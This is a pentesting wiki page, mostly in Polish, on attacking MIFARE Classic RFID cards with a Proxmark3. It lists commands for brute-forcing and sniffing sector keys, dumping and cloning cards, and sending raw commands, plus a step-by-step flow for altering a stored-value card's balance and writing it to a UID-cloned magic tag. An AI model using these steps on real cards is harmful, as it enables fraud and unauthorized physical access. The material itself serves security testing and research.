5.0 KiB
Proxmark 3
{{#include ../../banners/hacktricks-training.md}}
Atakowanie systemów RFID za pomocą Proxmark3
Pierwszą rzeczą, którą musisz zrobić, jest posiadanie Proxmark3 oraz install the software and it's dependencies.
Attacking MIFARE Classic 1KB
Ma 16 sektorów, z których każdy ma 4 bloki, a każdy blok zawiera 16B. UID znajduje się w sektorze 0, bloku 0 (i nie może być zmieniony).
Aby uzyskać dostęp do każdego sektora potrzebujesz 2 kluczy (A i B), które są zapisane w bloku 3 każdego sektora (sector trailer). Sector trailer przechowuje również bity dostępu, które określają uprawnienia do odczytu i zapisu dla każdego bloku przy użyciu tych dwóch kluczy.
2 klucze mogą być użyte do nadawania uprawnień: odczyt jeśli znasz pierwszy, i zapis jeśli znasz drugi (na przykład).
Można przeprowadzić kilka ataków
proxmark3> hf mf #List attacks
proxmark3> hf mf chk *1 ? t ./client/default_keys.dic #Keys bruteforce
proxmark3> hf mf fchk 1 t # Improved keys BF
proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF # Read block 0 with the key
proxmark3> hf mf rdsc 0 A FFFFFFFFFFFF # Read sector 0 with the key
proxmark3> hf mf dump 1 # Dump the information of the card (using creds inside dumpkeys.bin)
proxmark3> hf mf restore # Copy data to a new card
proxmark3> hf mf eload hf-mf-B46F6F79-data # Simulate card using dump
proxmark3> hf mf sim *1 u 8c61b5b4 # Simulate card using memory
proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to block 1
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
Proxmark3 pozwala wykonywać inne akcje, takie jak eavesdropping Tag to Reader communication, aby spróbować znaleźć wrażliwe dane. W przypadku tej karty możesz po prostu podsłuchać komunikację i obliczyć użyty klucz, ponieważ użyte operacje kryptograficzne są słabe, a znając tekst jawny i szyfrogram możesz go obliczyć (narzędzie mfkey64
).
MiFare Classic szybki przebieg nadużyć kart z przechowywaną wartością
# 1) Recover sector keys and dump full card
proxmark3> hf mf autopwn
# 2) Modify dump offline (adjust balance + integrity bytes)
# Use diffing of before/after top-up dumps to locate fields
# 3) Write modified dump to a UID-changeable ("Chinese magic") tag
proxmark3> hf mf cload -f modified.bin
# 4) Clone original UID so readers recognize the card
proxmark3> hf mf csetuid -u <original_uid>
Uwagi
hf mf autopwn
orkiestruje ataki w stylu nested/darkside/HardNested, odzyskuje klucze i tworzy zrzuty w client dumps folder.- Zapis bloku 0/UID działa tylko na kartach magic gen1a/gen2. Normalne karty Classic mają UID tylko do odczytu.
- Wiele wdrożeń używa Classic "value blocks" lub prostych sum kontrolnych. Upewnij się, że wszystkie zduplikowane/uzupełnione pola i sumy kontrolne są spójne po edycji.
Zobacz metodologię na wyższym poziomie i środki łagodzące w:
{{#ref}} pentesting-rfid.md {{#endref}}
Raw Commands
IoT systems sometimes use tagi bez marki lub niekomercyjne. W tym przypadku możesz użyć Proxmark3 do wysłania niestandardowych raw commands do tagów.
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
No chinese magic backdoor command detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search
Mając te informacje możesz spróbować wyszukać informacje o karcie oraz o sposobie komunikacji z nią. Proxmark3 pozwala wysyłać raw commands, na przykład: hf 14a raw -p -b 7 26
Scripts
Oprogramowanie Proxmark3 zawiera wstępnie załadowaną listę skryptów automatyzujących, których możesz użyć do wykonywania prostych zadań. Aby pobrać pełną listę, użyj polecenia script list
. Następnie użyj polecenia script run
, po którym podajesz nazwę skryptu:
proxmark3> script run mfkeys
Możesz stworzyć skrypt do fuzz tag readers — kopiując dane z prawidłowej karty, po prostu napisz Lua script, który losowo zmienia jeden lub więcej losowych bytes i sprawdzi, czy reader crashes przy którejkolwiek iteracji.
Referencje
- Proxmark3 wiki: HF MIFARE
- Proxmark3 wiki: HF Magic cards
- NXP statement on MIFARE Classic Crypto1
- NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)
{{#include ../../banners/hacktricks-training.md}}